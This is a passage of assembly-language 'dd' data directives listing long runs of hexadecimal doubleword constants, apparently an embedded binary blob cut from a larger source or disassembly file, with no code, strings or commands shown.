21E0F083h, 471FD316h, 5D07B1DBh dd 0A7E0AECCh, 1EF74A84h, 43186B41h, 0A6836803h, 4D12921h dd 4464B27h, 915C1BBFh, 80521E2h, 0E0BF32AFh, 0D19B8751h dd 0E75E0073h, 146F4374h, 7D00B449h, 0FA7FDDF5h, 0F6D287C8h dd 3B3200EAh, 0CE6CD9C9h, 9200DB5Bh, 73333474h, 0A42615h dd 0D5CA8421h, 1D3704D3h, 0DCF41AB0h, 5072FA00h, 56733044h dd 339A002Dh, 2210C9AAh, 5590819Eh, 113DFD71h, 5390544Bh dd 6BDD9B00h, 8D842775h, 0BF1F00BCh, 1CD13B61h, 93790150h dd 43A27A00h, 8F9768CEh, 3FB77592h, 6381A436h, 7CC0ACA3h dd 0D252C4CDh, 3500917Dh, 0E0B83192h, 87C7DEh, 455FD0EFh dd 68A4DF03h, 0C53CF5F0h, 0F4372844h, 16DC0A00h, 0BB99777Ch dd 0DC6B507Dh, 0A41300BFh, 0D8F53757h, 0DC000FE4h, 0CE599C3Eh dd 18CDAADh, 0D240E1C7h, 0DCEFCB0Ch, 0B4007DD9h, 2AC6ACB1h dd 2BA881h, 0FCCFFE17h, 0CA2C08E8h, 0F2244100h, 55285966h dd 95221F93h, 0E3780019h, 890CEB7Bh, 0E2AD4B00h, 0E81C651Bh dd 0E5670040h, 779485D6h, 0CB001028h, 0EDD815AAh, 90F69BC4h dd 6A900134h, 31FADA71h, 0D859FCDFh, 0E1874600h, 0FEF3ACB7h dd 2C5F0784h, 518D3275h, 0D464E068h, 121E1EC6h, 0F4C078CFh dd 0BCF911EFh, 14AB1438h, 7EE875h, 0D5D8E441h, 299E1E0Ah dd 0ABADDD2Ch, 38887614h, 8FF080C8h, 0E3FC9865h, 49970A69h dd 0F3A25Bh, 1907F13Ch, 0D7EE2AC0h, 504EE900h, 0FA3D172Dh dd 35B20053h, 97E0EDDDh dd 8D1F4C19h, 1DC3B74Ah, 0F093D947h, 0E97A92h, 0E676501Ah dd 8AC62631h, 0E0202703h, 80A33B84h, 5A7237h, 0F440F3C4h dd 8DE46BFEh, 0EFD7A12h, 1DE0C841h, 398068FBh, 9548F8E5h dd 0E400F4F1h, 0AA0BB4C7h, 0EBAD64h, 0A98BA18Ch, 450C39CAh dd 8537A400h, 0C1049BE5h, 71F90ED9h, 7AEABBA8h, 2E9F0090h dd 3CD5DABAh, 99A16300h, 0F4CF8C7h, 9AD90BBBh, 98002E9Dh dd 94BFBCBDh, 93724100h, 0E322CD46h, 19CA0081h, 0FBCF0BB8h dd 0C600231Fh, 34443BADh, 0FDD2E7h, 0DF1089FAh, 0E829FECCh dd 7C11D800h, 2AF3F0FBh, 3E7C98h, 1E755239h, 0D98A2605h dd 0E0B3A0Ah, 4600EDE9h, 7C69AD61h, 42D5009Fh, 369B7929h dd 5000FAC7h, 0ADB0278h, 1EFFB6E6h, 89399E24h, 828358EAh dd 0D0CFF409h, 1FA86F8Fh, 0B7F9C400h, 65C0F79Ch, 767302h dd 14B6F3D5h, 2669A790h, 3E2D6700h, 86EE6878h, 0F4909Fh dd 306A9EE8h, 0FEDA42Ch, 39D7AF0Fh, 9D58806Dh, 1DA5383Fh dd 95AE44Eh, 0C900EFF2h, 9B9C942Dh, 0FA0E35FCh, 0D919F3h dd 8A444E67h, 40D14C15h, 28E2DD00h, 555238A9h, 23434FFh dd 1601342Ch, 1D0E0C16h, 8707E0EEh, 4526A78h, 3FDFA69Eh dd 9B98C05Ah, 690905F2h, 80C8CAC7h, 445FD7F9h, 48AB00CDh dd 0B870CCE4h, 0A3F87B01h, 0C7D0A06Fh, 2760FD7Eh, 0D0D9C2h dd 99D8E2B0h, 0FE3A0C08h, 6582720Fh, 6D928041h, 0AF897Dh dd 873E7504h, 0E9F475Fh, 538E381Dh, 0C08BEBDDh, 84068078h dd 0A0CBBBh, 0E8605536h, 2B0F6D54h, 19B4BF00h, 0FE115A8Eh dd 3A4898F9h, 470032A2h, 0A1C11AB5h, 4D003313h, 38574E7Ah dd 0ECA78E9Fh, 80C0488Bh, 40806000h, 0EEBA4A2Ah, 9E766300h dd 9A71DE16h, 8E06007Ch, 52EE374h, 0C03DCE2h, 0FEBC703Bh dd 0BF22D0D2h, 8F1D004Bh, 0F476A140h, 0BA207E0Eh, 0B11F0073h dd 6CC398B4h, 6A0057FBh, 0C91CD267h, 6BEC79h, 0C412BF9Ah dd 1E2ACE51h, 5E3EEB72h, 0FB7BBDCh, 0B4C355h, 0F3131018h dd 0D1FC00AAh, 0BABB9CCCh, 950080BFh, 0EE1A921Fh, 0F06DE2h dd 0DFC3F30h, 0C351AE27h, 0F94D5407h, 0A56086A8h, 981816h dd 0FD776A67h, 0B59699F1h, 78DC38h, 0A33CEB63h, 3C21C20Fh dd 0C805D06h, 0AF64B9CFh, 1000AB8Eh, 1AB17DD2h, 2385DCh dd 0BC2F6054h, 47BE480Eh, 43F12A03h, 0B087DF07h, 0D5672h dd 51C78F59h, 1B4D9E89h, 0B4663501h, 0A009E55Ah, 13DB6810h dd 271EBE00h, 51B684BFh, 4EF102B7h, 0BA8A1C2Dh, 0CC120060h dd 7A74D007h, 11501983h, 8E5E1Dh, 0B370F4BFh, 0F8E4E656h dd 0B848F209h, 5D8000DDh, 1680A65h, 59C3E839h, 716FC6EAh dd 0E58440F3h, 9586762h, 7B570007h, 23AA193Bh, 479014B3h dd 6F2C8961h, 0EDF2008Ch, 40216B9Ah, 4132000h, 0B7C9AD45h dd 0C53F00CFh, 777BCDE8h, 38000568h, 8C203D0Dh, 2F24B8ABh dd 99F81F4Ch, 0CB598D00h, 2807EA15h, 3EA2008Eh, 0E07C3DB2h dd 43054952h, 0C88BF157h, 1E3180FEh, 4715C39h, 737AF207h dd 0B4107464h, 7206C9A9h, 794300F8h, 1E1B8490h, 0B90076E0h dd 0F29FC895h, 0F8D66B4Bh, 2A7A006Eh, 36DE876Fh, 0E500E8D0h dd 16AF5648h, 7431E2Dh, 0D6928418h, 0B3780B5h, 0C913CE7Fh dd 0B2000803h, 0A1625BA8h, 0BA07503Fh, 0E14F0E54h, 0B560F933h dd 821CE85Ah, 69F7AD07h, 5C40B3B2h, 381B89D8h, 6C00FD21h dd 3E35F974h, 0B2006312h, 2C298AA4h, 2A0CDB5h, 96559CA7h dd 96822648h, 0C840F076h, 0C6760528h, 0F6C3720Eh, 5726014Bh dd 0C8CF3C1Fh, 9892761Ch, 34940097h, 32903A15h, 0AA00260Dh dd 0A0076FCCh, 1279C83h, 8614C1D1h, 207D2243h, 0D900A7C8h dd 0E65B36DCh, 4A4ECB0h, 2680E272h, 0F180C14Eh, 5E37C8C6h dd 0D87D4B28h, 1BC6F5Ch, 0D11D347Fh, 488147CFh, 0D96271A2h dd 101DDB3Ch, 6CC032CDh, 64C5F6E0h, 19570041h, 510E8281h dd 3201288Ch, 9FE47B88h, 17D09D3Eh, 0A23D0054h, 2F61D641h dd 3B00FAA1h, 68D41ADCh, 0D2DED8h, 73222726h, 0BF9565A7h dd 0B62B7D00h, 826117C4h, 989C016Fh, 464E8FDEh, 2C386078h dd 7C184Ch, 523BD681h, 0F43E9567h, 8CC201C4h, 0DD17F02Eh dd 0AB16E8A5h, 10480A00h, 89F93566h, 8C9B000Bh, 917947FCh dd 0A5076DE8h, 0C50F087Dh, 13647730h, 0CB55127Fh, 9FE080A2h dd 64948DFCh, 3CF0EC00h, 5FDFA0h, 493B85E7h, 0C310AFBh dd 2735C3Ch, 2E5A050Dh, 9FD1C1B2h, 50E624C0h, 23FF89h dd 0A331218Bh, 72AED829h, 0C6623706h, 78111B85h, 7393043Fh dd 0B4435F76h, 7E004024h, 2BEE83DCh, 33E913Ah, 78C64F28h dd 2CD012C0h, 1F02B906h, 0BEAAB5DCh, 0FAD7E12Eh, 0E2D33080h dd 0CEE9FCF6h, 348850C0h, 50C214ECh, 128E3002h, 4326687Ah dd 47CBE74Ch, 0EBB1298h, 0A1022C0Eh, 88556A14h, 2B06AB81h dd 4B701F38h, 0FFB4A3E8h, 0B8F2FEC3h, 24F3AA97h, 3F69FFDh dd 0F7463019h, 0F7AE1CB9h, 2F3B70D0h, 0B8817200h, 0C0EC1328h dd 29E600F9h, 249CEFA8h, 991C0882h, 47095F7Dh, 3B1460C1h dd 50D50075h, 921455D3h, 7C01E16Fh, 8D1C56B8h, 288A686Eh dd 1826FCh, 1A71D997h, 0C798087Eh, 0CA00B8DFh, 2277D8B3h dd 16390097h, 31D501DBh, 0D35CD985h, 747C00AFh, 646EDD4Eh dd 0DEA53FCFh, 605B1E70h, 0F712804Dh, 41848D0Eh, 0C10BE719h dd 0F42C959Ah, 81A01901h, 0E4C36FE6h, 0B5058855h, 0D41E737Ch dd 0ECB00497h, 5FE2CEh, 7F0D48E1h, 0ED45A6CFh, 144B8A00h dd 3CDB604h, 4E1D30C9h, 52432D59h, 44304174h, 927AE1EAh dd 1F5A001Ch, 0DCE17591h, 0DA7B2CA7h, 0CD851B1Eh, 0F745C842h dd 82A060A5h, 0CFC500CEh, 6F59D903h, 0FD029A36h, 2FC131F2h dd 60868130h, 0B4D8AFCCh, 0B13800EEh, 8E2BBBE3h, 3B1FDA85h dd 289F5318h, 9E9D3D3Bh, 0AA80ED1Ah, 98BAB9CEh, 0C29F1E69h dd 2F2A8035h, 407EB12Dh, 28191331h, 1C03C9BEh, 8305C880h dd 84F1A100h, 91A37F44h, 0EC020067h, 89D11C2Fh, 0A700A837h dd 0F179359Bh, 6AB163h, 0AA592ED3h, 7D788D25h, 0EF437401h dd 0B82A1F9h, 5A20FF8h, 69143AA4h, 9DE48079h, 80009741h dd 885AFB82h, 172DFF1h, 3FA4409Ah, 0CEB6AB04h, 2E808AE3h dd 0B80029CFh, 61D3B799h, 7CC0C5E6h, 2F530033h, 5E905F4Ah dd 0F21DDA43h, 56E6A29Dh, 3C80FA1Dh, 0C99CC54Fh, 0B198A0CEh dd 0AFCD00F1h, 0B541D694h, 4E0068DFh, 0C96B9D67h, 324C062h dd 0B7D0439h, 0BB987B4Dh, 5E0EC8DDh, 816730FCh, 246F625Ah dd 24DE4h, 34FFAA28h, 9435BA99h, 0CDF5BC00h, 63B8B179h dd 0F49B12B6h, 8C2A00CEh, 61337B87h, 0B06ECA00h, 0AAFB86E0h dd 9FF81CDEh, 41D35F5Eh, 0DF0166E7h, 0F0D8F8A0h, 0EEA50600h dd 0BDFC0898h, 46FA18EFh, 0A38DC8A6h, 17ED0900h, 3D40778Ch dd 9BD90058h, 69724F7Ah, 0D1F05F36h, 858DAA00h, 0BE338CA6h dd 9688A07Dh, 5BDD000Ah, 84EEEF87h, 0E83E4229h, 811B0025h dd 0EB2D62BAh, 0E29700BEh, 0D0133749h, 0E10FCBEEh, 0A0B989BFh dd 0C77B0493h, 598C1C9Eh, 0D81600E0h, 8B6184Ah, 730064F4h dd 33259FADh, 58E470B2h, 46003774h, 0A91C6C5Ah, 0B9000E88h dd 60C16DDCh, 63BB09h, 3610BF8h, 0A8F72F02h, 0DABE4415h dd 0FBE500DCh, 0EEACE3C7h, 9D37005Bh, 0CE39C2A8h, 600023FFh dd 0C9513650h, 0B811EF12h, 0E58D00BCh, 2F1C1AF9h, 0C6007680h dd 0B2162470h, 48C0C91Dh dd 813C6C1Fh, 0EE455A00h, 0A67DB3BEh, 0C58EBA00h, 0F83FD23Ch dd 2100127h, 98D56A42h, 35ADD0F1h, 0FFCCF03h, 0F017BF8Ah dd 490961h, 55311CDBh, 5E393853h, 0FE7A5D1Dh, 4133CFDh dd 3F52367h, 0FD87A480h, 24EE0282h, 3581458Bh, 0A352E840h dd 93579800h, 58332B4Eh, 788C9201h, 0F06C2D0Bh, 0E40CEB7Ch dd 152199Bh, 850A62F9h, 70302814h, 6507FDAFh, 2F9C920Dh dd 5481E640h, 7A4000C7h, 3F06B7FFh, 0F02478BBh, 9700CC6Dh dd 0FCF49048h, 36C5009Ah, 46288007h, 0C8F737BAh, 0E800D44Ch dd 3322F63Dh, 5509F53h, 66F1EBE5h, 0B9CC00BDh, 0F3E4AED3h dd 0E247B212h, 502A9400h, 710ED9h, 140881D2h, 5B8DE64Eh dd 0ACCDF48h, 0ECE2BEC3h, 48ED6F00h, 877AC6h, 0B9A9D274h dd 53F35734h, 7D3A43FAh, 9678008Ch, 0D0354E67h, 5CB0A6h dd 34FEE915h, 44790A3Ch, 525DD400h, 61D02557h, 15370014h dd 56BAFB5h, 9E003FD5h, 31F3F86Eh, 14DF074h, 7B7CDA0Ah dd 0C4F2AC91h, 8D00F904h, 0F76113C5h, 1B0910h, 113EF8BFh dd 0EA1E8BB9h, 3206CB0Ch, 80B886h, 0EDB2BC0Ch, 0E8995F69h dd 0E9E4A601h, 4F085E9Bh, 8BB06280h, 93AD650Eh, 0A5CECC09h dd 0E79820C6h, 38FF53A7h, 0C982E9EAh, 0C20D1B2Ch, 1A988443h dd 3B0015E5h, 5BAD6E28h, 55CFD6h, 0E33E0763h, 0C8F3DB6Ah dd 0A8060301h, 0A94DAAEEh, 73001C23h, 725912DBh, 0B200245Bh dd 0ACC7CBDDh, 92FB30FFh, 0D4BA00E8h, 23C20FBCh, 9A007664h dd 71E946F8h, 1152012h, 6A05CAA4h, 0C8B90821h, 2B031C37h dd 4A2C3461h, 19DE60h, 289BDEE7h, 0D3FA24AFh, 528BA409h dd 0E08A7DA8h, 0EC92DCh, 59FA2010h, 9F05398Dh, 7FC71FDEh dd 245CC00h, 0E47E08h, 0B217C6A9h, 0D77C41F1h, 0C1A8C0Eh dd 0C8801DD9h, 89A4BF3Eh, 9D69071Bh, 20E1C4Fh, 3860DDAAh dd 530003E0h, 0F4355C70h, 400F71h, 0EC89C10h, 6065833Ch dd 0F908FA01h, 0EE3026F8h, 4C2581C0h, 0E30077F0h, 0D21FECB9h dd 460E1D85h, 20091848h, 76B53DEBh, 990F1B97h, 31B81987h dd 0CBA0D3EDh, 4E70795Dh, 0D90747F2h, 719E5E02h, 5841D430h dd 26E3000Eh, 7710B5D3h, 70004333h, 0CB6A44B3h, 38C67D1Ch dd 5281261Fh, 0EFB15B7Ah, 0ED8C60ADh, 662BC00h, 0B9BE275h dd 22BA001Dh, 0B6DFF057h, 4C0177A8h, 587146C6h, 0BE6075F4h dd 997300F6h, 0A75B5754h, 0C8000E06h, 0CF88A436h, 1E560A81h dd 0DB40C2h, 0EA62DFE2h, 7662046Fh, 60255F61h, 0ECBDB829h dd 45A10F31h, 0E4A18374h, 0D1FDEEAFh, 0E33C6488h, 75522A00h dd 6AE54525h, 8386026Bh, 97B479F2h, 0F098C1E3h, 7000F9CCh dd 763ED9A6h, 0C752A9h, 0C6CB4E2Ah, 0F03D5702h, 87B6E200h dd 91DA42A1h, 1932E78h, 0F53DBE6Ch, 4F3C681Ch, 3FE0A757h dd 8E1347F7h, 0B91C6203h, 0BADAF8h, 3CE47490h, 1346DF3Ah dd 97083861h, 50314005h, 3A596FE0h, 1E0099FFh, 0CAB08E9h dd 36007086h, 47156CFAh, 3ADBB8h, 0F8B51234h, 5EDE0825h dd 59817E18h, 0DD3890h, 27B97437h, 2539A217h, 515E1E00h dd 596732DBh, 5B8B0903h, 8800DA5Ch, 0CEB931B0h, 7984FD00h dd 0BB2BC90Ch, 861B01E6h, 389363CFh, 0ED0FF0Bh, 14DC0CE4h dd 9EF180FDh, 396EBF8Fh, 3068000Bh, 95C1AC58h, 16F6525Ch dd 0B2363F00h, 7DDF69A7h, 3E7B44h, 0AF9DC923h, 319052A2h dd 113BEF01h, 0C0610338h, 20F817EDh, 8A530008h, 7CFAE856h dd 0A900165Fh, 12A481A7h, 64884Eh, 91298AEBh, 0AF23E82Eh dd 488D8F01h, 0FC8017A1h, 6041E0h, 0F2CF320Fh, 9C1D1856h dd 82EAAE00h, 0AA6377F6h, 2440071h, 0D22E629Bh, 691807C0h dd 9F06B89h, 0D9AE00FBh, 86296F2Dh, 0E6E60858h, 95B6C002h dd 0A07CC492h, 788EC88Ch, 81E70137h, 518FC52Dh, 8071D135h dd 789D3A21h, 0E4EA3CFh, 0AF4B66DDh, 6A726D00h, 210CEC80h dd 58130331h, 0D2BD0038h, 0F4405496h, 0C037E5DCh, 2A554968h dd 2015B440h, 1EDCDE19h, 796C704h, 0D18BBAECh, 836B3B73h dd 4EE45850h, 926804DCh, 115F052h, 0FA74A90h, 1891881h dd 80B68A0Ch, 0DE41E691h, 8CC7D3h, 1894B043h, 6999F419h dd 9D6F7601h, 973158CFh, 80461280h, 12D65706h, 0D0853600h dd 0C8196C17h, 66520058h, 0AD7EA3ABh, 1200AA8Ch, 6373B9EDh dd 3CBFB32h, 0F52FD878h, 929E8D5Ch, 0DE0D9B01h, 0BA17D27Bh dd 0E657F0h, 1EB3BBA1h, 9B2C59E3h, 4719331Fh, 0CEE10345h dd 83EA043Bh, 1506501h, 80111D11h, 701B5E0Fh, 0A67ACAF9h dd 0E84A8400h, 33C13918h, 1981F8EAh, 19878EE5h, 226510EDh dd 0DF48C092h, 57CDE2F6h, 0A4376A71h, 798C20C0h, 78201F0h dd 4253D29h, 402EE8F3h, 17374C3Fh, 6A1F42BCh, 99B77E30h dd 0E04A078Dh, 86C9662Bh, 4D06760Dh, 47CD091Fh, 10060F50h dd 3C1F65E5h, 16FCBA0Bh, 94BFE280h, 0C96E1813h, 0CFEA0A1h dd 4B65C0h, 443CA458h, 94366E03h, 3988AE1Dh, 0CEEEA640h dd 9F1590h, 8C0583F7h, 957F8BF6h, 8D00EDF0h, 6F974863h dd 39CAA910h, 0BA384D73h, 210D0C00h, 0B0DB8CF6h, 46189C78h dd 4541F78Bh, 0E2D0089Fh, 50C90A1h, 7761888h, 6AF51452h dd 81E84010h, 900EB591h, 0E01B7279h, 750A1115h, 86D61F19h dd 33B1F97h, 42A9ACF9h, 298F60A7h, 9801058Bh, 43C20A94h dd 10989C84h, 0DB385AF7h, 0E1012707h, 18BCE817h, 186F068Bh dd 0C077C726h, 0F8C2F40Ch, 98015h, 831F4832h, 5EFEE21Bh dd 82974E3Dh, 0DCA3613Fh, 3324B898h, 10E58479h, 0A8C6D999h dd 0F08790h, 0F3F5B509h, 975E7C2Eh, 8B00E67Dh, 9C9A5C85h dd 2AAAEEh, 5BD2E5D4h, 733001F5h, 9023D01h, 0B2969B0Ah dd 3A10E4E0h, 0E5032153h, 0C61C8D66h, 4FA393E8h, 0B8C20BE0h dd 8F9ADF94h, 772985BCh, 8858B011h, 236A447Bh, 809ABA27h dd 7CB4C9Ch, 0E2A115EAh, 1E1F800Ah, 5F0EA1Fh, 4D78DDC9h dd 0F1BC41F4h, 0F3FAE00Bh, 0F2D64806h, 0B08023h, 0A6A07F09h dd 634B5261h, 18AC6830h, 3801FEh, 0BD0230D0h, 0CD5E32C5h dd 0E0BF600h, 9490C198h, 71F26322h, 7CADBF7h, 95854C40h dd 0BD05C8F5h, 9C40BF48h, 0E1F4DE15h, 31103CC3h, 92F44E2Dh dd 953620C1h, 69809D42h, 0C131E515h, 0E02416BDh, 0FCA22C17h dd 0DE988000h, 0D89204F5h, 86EC1524h, 5F8434B9h, 0BFF33062h dd 0C2F80615h, 289F4BE8h, 8D88000h, 0C4BD1FEBh, 0B3A82A01h dd 0E36B01C0h, 0F8535196h, 78ABF459h, 0BB08CB00h, 0E1F90B56h dd 61F242Fh, 0AD6C806Ch, 74F6227Bh, 9500F470h, 1461779h dd 3FB2204Ch, 36282E57h, 0DCA80088h, 5BC286B0h, 321AD669h dd 85B90E38h, 805BCDD4h, 87F4E0F1h, 0F3361CADh, 0C4271486h dd 960E3A9Eh, 24C04389h, 0DB87959Ch, 741A0900h, 1C72761Fh dd 93C6009Bh, 550A6612h, 0A904B10Bh, 11EE1785h, 0E260F887h dd 60899127h, 180580CCh, 231F1451h, 3206303h, 2EF82777h dd 0A964541Ah, 0CA04B248h, 383B0C95h, 28F96E58h, 0BD8698C8h dd 0F830ADE1h, 82631476h, 49383408h, 0A4E28E0Ch, 0C8B0C80h dd 80BA85E9h, 81D1938h, 8D838E22h, 0E818D287h, 77D8CAFh dd 5960E476h, 0C3690F4Bh, 0F2058A8h, 17C380AEh, 8CE00FE2h dd 0F50EAC75h, 0C2D1F3Eh, 1AB03Ch, 0ABEB6658h, 0EF5FBE8Ah dd 4E286092h, 0BA00DC1Fh, 9A22D418h, 0F33A2Ah, 499FDF6Ah dd 0A90A5597h, 0E231DE60h dd 61BE68D4h, 77911892h, 5BAC209Fh, 0D41F013Ah, 0FF1F11D8h dd 0F9DD0748h, 57CFC141h, 0A0408306h, 7B8DA905h, 8FE029F8h dd 5C6A04FCh, 0F88776h, 8CC421B6h, 0A1119E00h, 5FF3C631h dd 7B94004Ah, 9B5C0E06h, 0BD00729Ch, 91022108h, 2E16CCDh dd 0F5CB59A3h, 0B09BF451h, 72D481h, 7A0CAAh, 1028BA8Eh dd 6E0A610Fh, 5093E125h, 4CD634AAh, 0D01C91h, 81D0A8CEh dd 90609DB7h, 0DBF9AD18h, 0B02E542Dh, 85910049h, 73D677D2h dd 7948D098h, 90580CCh, 38581DCCh, 1CC89390h, 0A8E0BA00h dd 0D40B8759h, 76A20814h, 137A07D0h, 62B0459Eh, 0A0F395E1h dd 26055E9Ch, 9E84F2E2h, 0EDF5C655h, 0E8A811CAh, 6D0C017Ah dd 19F8520Ah, 0DCC106E0h, 30FCEEF5h, 72AC1654h, 0E9C46A00h dd 0BF1B7FE5h, 0BE981CDDh, 66ED8F60h, 0D3B9D03h, 14C0A0CAh dd 0E912975Fh, 0C0F8541h, 8A2AE09Eh, 48178ACh, 3C55ADD7h dd 668C81FDh, 1C29D0EAh, 16D49A17h, 0F77B4400h, 0F1079Bh dd 69D07546h, 0A1F30E49h, 0B1E0144Ch, 8066121Ah, 0F80A4C71h dd 9652A382h, 312A286Eh, 0F700C84Eh, 44B71745h, 928C0D86h dd 0D5114434h, 38243226h, 12DF4841h, 46C8DC42h, 499A6A68h dd 0E00480A0h, 27769531h, 58F0F648h, 4B206219h, 0ED20648Eh dd 2858C199h, 0E0C01E1h, 2800AE08h, 85E21686h, 6003250Bh dd 1D9CB192h, 4A00AB31h, 511F4597h, 6903243Dh, 400421C5h dd 0B36408F9h, 2921AD99h, 3B3F1D91h, 18BB5199h, 0AD04F662h dd 0CB384C88h, 0D50F7CB0h, 6084BA0Bh, 0E224C75Fh, 4040B553h dd 0F80A0A30h, 880FBDD8h, 0B0009849h, 25A91F37h, 0FC080917h dd 7430ACA9h, 8C0B3418h, 38DD38ACh, 7C57A128h, 0F034907Ah dd 0E6880998h, 0AC229A20h, 0D0E84727h, 124CF546h, 0E3A78068h dd 5C2E90FBh, 80413CA8h, 5CE90D20h, 482E4887h, 6BC6080Ch dd 0E60B0139h, 51402533h, 20222433h, 545A1858h, 0F202EA24h dd 604C124Bh, 7686C5Eh, 0BE6F34F4h, 412D81E3h, 24E025A7h dd 94882E50h, 499C12B9h, 6A18263Ch, 91B94461h, 5180FAAEh dd 0A29E1F67h, 94091E79h, 882A9C3Ch, 28AA5C80h, 8CE08B07h dd 0CB70381Bh, 4191D17h, 5087F5BDh, 0F7C090C0h, 70C99E74h dd 940F82BEh, 89F0402Ch, 1024E1E5h, 9348C01Ch, 0B10A6975h dd 0A1DC6CA8h, 2943C430h, 3392B0Bh, 0D517F99Bh, 20A59C72h dd 790750BCh, 4C1D967Dh, 7FC1E174h, 3CD53FB3h, 5C18BED2h dd 0FA0EDC9Fh, 8E408F43h, 9B9C095Ch, 9A341F0Bh, 59C2570h dd 59EE093h, 0A3CFBFA8h, 330C573h, 4E15DC8Ch, 3B1BF2F8h dd 0D6C931Fh, 4745354h, 5CD3C6D4h, 0A18CA8C1h, 38064050h dd 91DA0061h, 9C1D930Ah, 90B915BEh, 2B60EF42h, 62A1F890h dd 50D31A24h, 12521702h, 0F78E02F6h, 0A35088E0h, 4D5E4809h dd 0C042419h, 0EBCE2C80h, 10F22614h, 53950730h, 2D2B0072h dd 0E02EA8F7h, 77BC685Dh, 0F489C960h, 9B754C1h, 0F09124B8h dd 26F8E420h, 7548927Ah, 2E5C002Ch, 0F6C1131Ch, 0A9970387h dd 0BD955386h, 89CF02C7h, 80E1A4A0h, 1F035715h, 5C7B6E75h dd 0C5380087h, 5A26968Ch, 21479F3h, 29D01409h, 0A08808D2h dd 5DF160F4h, 4A51962Eh, 697BE889h, 9960DD00h, 73F4E8F3h dd 0C55316C1h, 45F40217h, 289033E1h, 9A007021h, 9B8CFF1Ch dd 987F5DF5h, 0D618129Bh, 98800086h, 10E5D5EAh, 968BC307h dd 0D80CF520h, 0A8974938h, 0B0A10C03h, 187501DEh, 0C246FC98h dd 20629421h, 0CCF30583h, 0D2014820h, 2D98C1A8h, 0C0481B1Ah dd 0A4BD14DBh, 2E05D874h, 9109F65Bh, 298D61D4h, 163A1720h dd 24E88810h, 0AD0104C1h, 8703FEBDh, 37D06425h, 7098F3h dd 788D90A0h, 192434BEh, 8B9AD600h, 811B2D79h, 0E89F5951h dd 786C8F28h, 4C7B49F6h, 41EA0805h, 669443B5h, 38332E72h dd 0D89B2A15h, 0E09C4C09h, 2914FC76h, 11080C39h, 73D48027h dd 98151B89h, 990CA048h, 5A290053h, 44078221h, 0BF539F97h dd 77398544h, 0A2CD48Ah, 43F100C8h, 99AD8D70h, 80604E3Ah dd 97149E12h, 649041E7h, 20753876h, 2C23C917h, 40C40DABh dd 0CE1AA97Ah, 1D06452h, 7415C458h, 0C038F422h, 0C11B29A0h dd 0CC539329h, 0B08E3B8Ah, 92F789D0h, 2804B8A4h, 15A4A9FAh dd 0B0910A8Eh, 882AB900h, 831BF5E9h, 4A21F302h, 91F45BACh dd 6C18F908h, 189C1712h, 4CB07C15h, 5F00714Bh, 7115C253h dd 499D9A29h, 2708684Bh, 8C018B73h, 0CE46E154h, 0C7FC40F6h dd 486825DDh, 0D320DC94h, 0CAFE0A7Fh, 984162Bh, 7423B820h dd 3100AA2Fh, 6A999FF4h, 311AC12h, 0DFF09C33h, 20DF491Eh dd 5C6DE484h, 92142807h, 2240ECA9h, 78F7B146h, 1873700Eh dd 6890AAE9h, 3017F4Ah, 453ABD7Bh, 60395D6Fh, 0E2B02F24h dd 16009510h, 0E9386ACFh, 8E24D476h, 124A0984h, 8469442Eh dd 9218E0ACh, 6049D098h, 0E61052Ch, 2782CC38h, 1C10608Ah dd 20305C37h, 56F5F003h, 180233B7h, 0AACE0CA2h, 5C070DAh dd 0BAA14462h, 2A940074h, 0CFF1C895h, 1CD71224h, 50BF2D80h dd 1F0C4Ah, 0F06A252Ah, 0AAAD589Dh, 0B1349307h, 8582BA73h dd 20C094BEh, 2D0E6113h, 0A3771F01h, 0F8918CF8h, 0EEC364h dd 8D6B0DE9h, 0F79F48E2h, 0A0A04690h, 18A81E80h, 595233F0h dd 84C38430h, 0AA40F401h, 5AC02491h, 0A80EA1B8h, 8AA2A1h dd 1758F5DBh, 1CF1337h, 0BD68C0A7h, 0D8E0BEC5h, 2270B7Eh dd 0C88832Ah, 8C8C1F06h, 5B320A05h, 61D20C0Ch, 0E4A4DE90h dd 3BCE7405h, 0A490791Ah, 5C5001F9h, 773A886h, 0CE48A1ACh dd 0F56BF366h, 0BBE03CD3h, 8F7FABF3h, 8100709Eh, 9D65CF0Bh dd 6697054Ah, 0A4839A37h, 137794A4h, 0D8F2D22Ah, 8A01F79h dd 0C179809Bh, 0FC41CD4Eh, 56631BF8h, 97EB9421h, 8E83D1E2h dd 749A00FCh, 5C0323CBh, 9083E872h, 62E85A1Eh, 97CED0Ch dd 2C3B0D26h, 964C4580h, 845097h, 0D6832D9Bh, 0A9237507h dd 0FBA7B501h, 3671F90Fh, 46703081h, 0D87EC8F3h, 90C27351h dd 0C0E678ADh, 50FF4998h, 322C89h, 2EC75503h, 6E189E36h dd 9196CA01h, 2D5C9009h, 0F852980h, 6F7A4B5h, 0F865D628h dd 0B6007F74h, 1FF04CE2h, 9A18F9Eh, 231256E4h, 0B46AC4E0h dd 0CFE32100h, 0ECAD4154h, 0CE661E2Eh, 2AE847FAh, 73618CF6h dd 4900FC72h, 0E22C064Ah, 249462A7h, 4A3658h, 5390203Ch dd 8D01AE66h, 83BDC659h, 87CC031Dh, 0EE100028h, 0B2168645h dd 640A333Bh, 0C44F0D2Eh, 0B099F582h, 0FE000FF0h, 5C79807Eh dd 33611C7Dh, 0FABE6681h, 8AAE70h, 29444759h, 0B7AF029Ch dd 4683C901h, 0BE740339h, 305070h, 0C8592C57h, 0D93AB364h dd 8067343Ah, 0B645D546h, 7DFC5F3Dh, 0B380150h, 65F28A78h dd 0DC1881C8h, 0DB7A375h, 0E2A0D2ECh, 0EFB000EAh, 0A17DEE71h dd 600177BBh, 0C2511989h, 40849FB4h, 0AEAB47h, 0EE7D451Bh dd 40E50711h, 10883920h, 0E4F65A43h, 30C3E330h, 1F89577Bh dd 1E1FE966h, 0A208C1AEh, 8AC24387h, 0AEBDF149h, 76B2DE00h dd 0C1D88373h, 7F3AC520h, 4D188768h, 0A5204A2Ah, 180E5430h dd 60BAA7DAh, 0AE3B7120h, 0CCAB00D6h, 0F19297CFh, 3BC40C62h dd 5B18C14Eh, 6A9DA701h, 60190555h, 373A6E80h, 38C58120h dd 6E2B1F00h, 0F1C4060Bh, 0E0CB0064h, 7769B6F9h, 37000841h dd 318B6A4Bh, 0D87FDBh, 1CBBDA18h, 0D6228E99h, 2789B400h dd 5CB3967Dh, 6F880308h dd 0DDACA720h, 0D462AAB1h, 0E3006426h, 33A3CABDh, 0FCD7401Ah dd 20F71EEEh, 6D2D40B9h, 2E15D2FFh, 653AFE00h, 0A0F87129h dd 4D52C036h, 0DD9461CAh, 1282F024h, 8F9D8038h, 85A57404h dd 8D2C0056h, 58415F45h, 9407E5F8h, 989E10C3h, 644F3080h dd 